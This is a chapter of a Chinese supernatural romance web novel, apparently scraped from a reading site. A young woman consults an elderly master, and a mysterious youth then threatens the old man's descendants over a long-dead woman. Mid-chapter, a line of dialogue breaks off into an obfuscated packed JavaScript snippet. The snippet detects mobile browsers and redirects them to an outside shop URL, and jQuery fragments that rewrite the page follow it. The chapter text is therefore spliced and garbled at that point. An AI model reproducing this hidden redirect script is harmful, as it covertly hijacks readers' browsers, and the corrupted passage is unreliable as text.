默认冷灰
24号文字
方正启体

7. 过往

作者:花椒不浇本书字数:K更新时间:
    好半晌以后,他嘴唇嗫喏,似有千言万语,可出口时也只有一句简短客气的,“请坐。”


    李舒言依言落座在老人的对面,邬玄灵比起她想象的要平易近人得多。


    本以为石桥镇这样一位活跃在叔叔婶婶嘴里面的传奇人物,应该会像电视剧“上海滩”演得那样,气势凌人,如山峦一般起伏硬朗的肩背,鹰隼一般的眼睛看人像看蝼蚁。


    浑身透着肃杀之气。


    可邬玄灵却和大多数普通人一样,也走向了垂垂老矣。


    李舒言瞧着,心里竟然有些微的涩,莫名有种替英雄迟暮的落寞之感。


    尤其在邬玄灵开口唤她时,李舒言心间的那股难受就更甚了。


    邬玄灵告诉她,她的事情,他已经从阎婆那里都听说了。


    可是,他的确不会看事。


    但是可以为她指一条明路,就是凉亭外面的那个人。


    李舒言侧头看去,毛毡几乎挡住了全部的视线,她根本瞧不清外面有谁。


    但是心间隐隐有种直觉,邬老先生应该说得是左宁。


    “您认识他吗?”李舒言小心翼翼问道。


    邬玄灵盯着茶汤升起的烟雾,轻轻吐纳着气息,好似思绪已经飘忽了很远,“算是认识吧。”


    “那……他……”李舒言不知道自己要怎么说,她觉得自己应该有很多话想要问,却不知道应该从何处开始问起,又或者说应该问些什么。


    这一段时间发生的事情太多,很多都超过了李舒言这十几二十年的全部认知。


    让她觉得自己好像一缕游魂,没有根,到处漂泊。


    可妈妈说,万不能有这样的想法,这是那个东西故意在诱惑她离开,好下去陪他。


    导致李舒言已经不知道有些想法究竟是自己的真心,还是那个东西在蛊惑。


    “那符牌,你定要拿好,有任何事情,都可以回石桥镇来找我。”邬玄灵意外的有耐心,对于李舒言磕磕绊绊良久没有说出来的话一直等下去。


    在知晓她也说不出个所以然以后,便贴心地提醒她,要拿好符牌,然后,不能尽信外面那个人。


    李舒言握着那块符牌在掌心,灼烫得有些厉害。


    方才在外间还有些许冷,眼下亭内烧了炭火,此刻又握着符牌,难免有些热了。


    一热,连带着心也好似有些躁了。


    想起阎婆的话,她抿了抿唇道,“他会帮我吗?他是谁?”


    邬玄灵的动作缓慢,他用镊子启开烧得沸腾的茶盖,茶香四溢,“他会。”


    声音苍老,却是斩钉截铁。


    “至于他是谁……”邬玄灵将煮好的茶汤掺进了上好的天青色瓷盏里,推至李舒言面前,请她品茗。


    烟雾飘渺里,最后一声很轻,李舒言甚至没有听见,只瞧见他面色似有讥讽,嘴唇张阖,“或许连他自己都不知道……自己是个什么东西。”


    李舒言觉得奇怪,他们二人谈起对方时,都好似一副老友,对彼此很了解的模样。


    可是却都对对方藏着警惕和显而易见的轻蔑。


    可邬玄灵已是耄耋之年,那男孩分明与自己一般大。


    他们二人能有什么纠葛呢?


    邬玄灵道那人能救自己,可又让自己不能尽信他。


    邬老先生与那人究竟是什么关系?


    难道是上一辈子的恩怨?


    李舒言想不明白,抿了抿唇,算了,豪门间的秘事也不是她能窥探的。


    话谈好了,邬玄灵让她陪着他坐一会儿,等外面的雨小了再离去。


    李舒言照做,亭内静谧无声。


    饮了茶,听得雨势小了,李舒言便谢过离去。


    邬玄灵让保镖送她,李舒言实在不好意思欲要拒绝,可邬玄灵却是坚持得紧。


    实在是一位很好客的人,李舒言不好再拒绝,否则总显得太过不给脸面,于是答应。


    下山走得来时路,李舒言没曾想到,左宁竟然还立在原地。


    松针上的雨滴汇聚成豆大的水珠,“啪嗒”砸落在他肩头。


    他浑然不觉,只仰头看着树梢上低空飞过的乌鸟,面色沉静,眸光深远,像是将所有情绪都藏进了其中。


    他浑身裹着湿气,不知道站在那里了有多久。


    察觉到视线,他转过头来,望着缓坡尽头的李舒言,眼睫轻颤,有一瞬间的晃神。


    待人走得近了,与她擦身而过时,他递给她车钥匙,撂下一句简短的,“去石桥下等我。”


    就朝着半山腰上凉亭的方向走。


    李舒言愣愣地握着手上的车钥匙,转身看着他离去的背影。


    掌心里他微凉指尖掠过的地方酥酥痒痒的,耳畔他那番话的语气实在熟稔得不像话。


    好像他们关系很不一般一样。


    可分明上一刻他们在石桥镇老巷里还只是第四次见面,彼此和陌生人无疑。


    而眼下,就因为他有法子救她的命,他们之间的关系就这么突飞猛进吗?


    好像很确认自己一定会找他帮忙。


    李舒言对这种感觉有些陌生,但好像不是太讨厌。


    只是他究竟是谁呢?为什么愿意帮自己这个素昧平生的人呢,有什么本事是连阎婆都比不上的呢?


    他又想从自己这里要走些什么呢?


    李舒言脑子很活泛,一边朝着山下走,一边想不明白,自己怎么就把她跟左宁绑在一根杆子上了。


    她觉得自己待会儿很有必要跟他说清楚。


    如果他要的条件,她给不了,比如要它个七八十百万的诊疗费,那还是让她死了算了。


    半山腰上,左宁掀开挡风的毛毡,径直便踏入了进去。


    对于他这样如主人一般堂而皇之地登堂入室的行为,邬玄灵一副早已经习惯的模样,只淡淡看着他落座在自己对面。


    眼神落在他脸上,扯起嘴角,“这么多年了,你还是喜欢装成别人的样子。”


    “是不是她?”左宁并不在乎这句讥笑,眉眼沉静,一点儿情绪也没被勾起。


    “可你终究不是左宁少爷,装得再像,小姐也不会喜欢你。”邬玄灵捧着茶盏,拂开茶面上的浮渣。


    炭炉里猛地“滋”起火花,被毛毡挡住的凉亭内兀得荡起冷风,邬玄灵知晓,这是眼前的人发怒了。


    他一点儿也没害怕,苍老的语气依旧缓慢,“静姝小姐是当年你亲自瞧着过世的,是不是她,你比任何人都清楚。”


    “她不可能死,你和她一起联合骗我。”少年漆黑的眼盯着他。


    “人也是你看着下葬的,你还想做什么?”想起了曾经,邬玄灵脸色也变得分外难看,他将茶盏重重按在桌上,混浊的双眼定定地回望着他,“难不成,你还要开坟验尸?”


    少年轻轻笑了,随意道,“有何不可?”


    “你简直疯了!”邬玄灵难得这样气急败坏,他呼吸剧烈地喘了起来,每一句都恨恨地咬着牙,“当年,你将小姐逼到那种境地还不够,她死了你也不愿意放过她,停灵整整一个多月,直到她尸身腐败,你才允人将她葬下。”


    “如今,已经过去了那么多年,你到底还想要做什么!你是连她死后的一点尊荣都不肯给吗?”


    邬玄灵一连串的质问出口,目眦欲裂地述说那些少年过往做过的混账事。


    左宁脸上的戏谑散去,他盯着桌面某处虚空,近乎失神道,“可他们都说,你在这里等她回来。”


    “我一把岁数了,不过是在等小姐的魂。等她来接我走。”邬玄灵叹出一口长气。


    太久了,那些过往实在太久了。


    久到他几乎也要忘记静姝小姐的音容相貌了。


    “嗬。”


    邬玄灵正感叹着,耳边忽听见少年一声轻笑,他缓缓转头去看对面的人,少年眉峰微抬,脸上又是那副熟悉的轻嘲。


    “邬玄灵,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026491|194436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最好说得是真的。若是让我发现,她就是真正的李舒言……”他顿了顿,眼神饶有兴致地落在邬玄灵那双隐颤的瞳仁上,似故意凌迟一般拉长了腔调,“不用谁来接你走,我会送你的子孙后代一起下去陪你。”


    “你……——咳咳!”邬玄灵顿时一口气像是卡在了喉间,咳嗦得接连不止。


    “你以为送他们离开石桥镇,去了北京,就能高枕无忧吗?”少年轻笑道,吐字轻飘却锋利如刀刃,“车祸,失足,坠楼,绑架……”


    他如数家珍,像是在谈什么稀奇的东西,“或者,也被什么东西缠上?神仙难救。”


    邬玄灵脸色发青,手重重拍在石桌上,喊住了欲要离去的少年。


    即便气还没有顺匀,他也连忙道,“她若真的是静姝小姐,我会不想尽办法替她赶走那东西,会放心将她交给你?”


    他语速有些快,呛了风又不禁猛咳嗦了起来,“正因为不是,所以生死由命!”


    “你若能看在她与静姝小姐长得有些微相似的面子上或是有其他什么目的,救她渡过这一劫,也是替你自己积德。你若不愿意管她,便任由那东西拿走她的命就是。”邬玄灵不客气道,好似真的是左宁误会了一般。


    少年停下来脚步,转身看他,浓而密的长睫垂下,掩盖了其间的心思流转,让人猜不透他心里在想什么。


    只是那面色好似有些灰败。


    好久以后,他才开口,“邬玄灵,忠孝难两全。你既然要选择做一个忠仆,就不该留下软肋。”


    “穷极碧落和黄泉,只要她还在三界之中,六道轮回,我都会找到她。”


    他嘴角有微弱的讽意,“你以为,你能拦得了我?”


    “对她好一点吧!”


    少年转身即将踏出凉亭,身后邬玄灵突然喊道。


    他脚步一顿,转头看他。


    邬玄灵两眼泛着泪光,“对她好一点吧。”


    “看在她和小姐这么相似的份上。”


    少年没再说话,微拢的眉峰上滑过一缕躁意,挑开了毛毡离去。


    石桥下,李舒言借着车钥匙打开了那辆奔弛大G坐了进去。


    外面实在太冷,倒春寒来得袭人,她着实有些受不住。


    既然左宁将钥匙给了自己,那便是默许她坐进来取暖,李舒言不打算扭捏冻着自己。


    只是没想到这人竟然这么有钱,那还和她一样挤什么公交,大巴啊?


    李舒言欲哭无泪,什么时候也让她当一回富豪吧,她好切身体会体会富豪的心理。


    李舒言正天马行空腹诽不公平的老天,另一边车门兀得被打开,左宁长腿一跨,利索地上了车,将车门关上。


    他身姿挺拔,肩宽腰细,背部平直,是连电视上模特都比不过的好身材。


    平地里站在自己面前时,李舒言都备觉有压力,好似被他的气息无形笼罩。


    此刻进了密闭的空间,属于少年身上的气压来得就更甚,铺天盖地地像是要将自己围裹。


    李舒言不自觉呼吸都缓了下来,她觉得,要不,自己还是下车好了。


    “想好了吗?”身侧的人系着安全带道。


    李舒言懵了一瞬,转过头来看见少年眼角有一颗黑痣,她回过神来,“你,是什么人啊?”


    她这话着实问得有些奇怪,李舒言觉得自己这一段时间说话,像是语言系统紊乱了一般,不知道是不是那东西背在她身上的原因。


    连忙要解释,却听见少年清润的嗓音响起,似有些好笑道,“你觉得我是什么……人?”


    他抬眼看她。


    “你难不成不是……?”人?


    李舒言顿了顿,好在没说出口,不然怎么都觉得像是在骂人。


    少年转过身,白皙修长的指骨搭在方向盘上,目视挡风镜外,“很奇怪吗?”


    车缓缓行驶了出去,“你遇见的这些东西还不能让你重新看待这个世界吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)